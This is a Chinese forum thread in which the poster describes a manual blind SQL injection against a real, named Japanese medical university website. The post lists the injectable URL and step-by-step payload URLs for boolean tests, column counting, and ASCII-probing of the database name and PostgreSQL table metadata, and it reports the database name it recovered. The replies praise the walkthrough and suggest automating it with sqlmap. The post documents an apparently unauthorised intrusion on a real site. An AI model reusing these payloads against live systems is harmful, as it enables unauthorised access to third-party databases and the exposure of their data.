一次postgresql的盲注
本帖最后由 王珂 于 2013-11-25 17:47 编辑对postgresql注入很是陌生、、、、、
今天群里有人发了一个注入点,恰好就是这个,一点思路都没有,只好求助百度大神,
还真给我找到了,接下来是我的一点经验
注入点:http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278
然后:http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278
and 1 =1 正常
and 1 = 2错误
然后爆字段
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278
order by 37 正确
order by 38 错误
判断数据库的长度:
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20length(current_database()))%20between%200%20and%2030
正常,
说明数据库长度在0到30之间,我们慢慢减小间距,最后确定数据库长度为6,接下来我们看看数据库名是什么
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),1,1)))%20between%200%20and%2064 错误
,说明第一个字段不再0到64之间,
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),1,1)))%20between%200%264and%20100
正确,说明在64到一百之间,我们慢慢缩小间距,最后确定第一个字段的ASCll为97,接下来第二个
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20ascii(substr(current_database(),2,1)))%20between%20109and%20109
一直下去我们就可以将数据库名猜出来了:amcweb
然后呢,我们就来看看里面有多少个表吧
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20count(*)%20from%20pg_stat_user_tables)%20between%200%20and%2010
正确
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%20(select%20count(*)%20from%20pg_stat_user_tables)%20between%206%20and%206
正确
说明有6个表,那么我们来看看表的长度是多少
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and
%20(select%20length(relname)%20from%20pg_stat_user_tables%20limit%201%20
OFFSET%200)%20between%200%20and%20128
正确
这句话的意思看看第一个表的长度是多少
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and
%20(select%20length(relname)%20from%20pg_stat_user_tables%20limit%201%20OFFSET%200)
%20between%2011%20and%2011
这两句说明第一个表的长度为:11
我们接下来看看第一个表的内容是什么、、
http://www.asahikawa-med.ac.jp/index_h.php?f=show_topic&topic_cd=278%20and%2
0(select%20ascii(substr(relname,1,1))%20from%20pg_stat_user_tables%20limit%201%20OFFSET%200)%
20between%2099%20and%2099
这是第一个,这样一个一个下去,我们就可以猜到表名了
太费劲了,就没弄完……
Re: 一次postgresql的盲注
楼主的分享很详细,把PostgreSQL盲注的逐步过程都写出来了,对新手来说很有参考价值。手动一个个猜ASCII确实很费劲,不过思路很清晰,从判断字段数到爆数据库名、再到查表,算是把基础手法走了一遍。后面没有做完也不影响整体理解,加油!Re: 一次postgresql的盲注
楼主的实战分享很详细,从注入检测到数据库名猜测,步骤清晰,对新手理解PostgreSQL盲注流程很有帮助。虽然手工盲注确实比较繁琐,但能一步步调试出结果已经很不容易了,期待你后续把表名和字段数据也分享出来。Re: 一次postgresql的盲注
感谢楼主的分享,很详细的PostgreSQL盲注过程,对新手来说非常有参考价值。手动盲注确实工作量很大,尤其是猜表名和字段的时候,需要很大的耐心。最后那句“太费劲了,就没弄完”深有同感哈哈。不知道后来有没有继续把表名和字段数据跑出来?如果当时用sqlmap这类工具辅助一下,可能效率会高很多。期待更多关于PostgreSQL注入的经验交流!
页:
[1]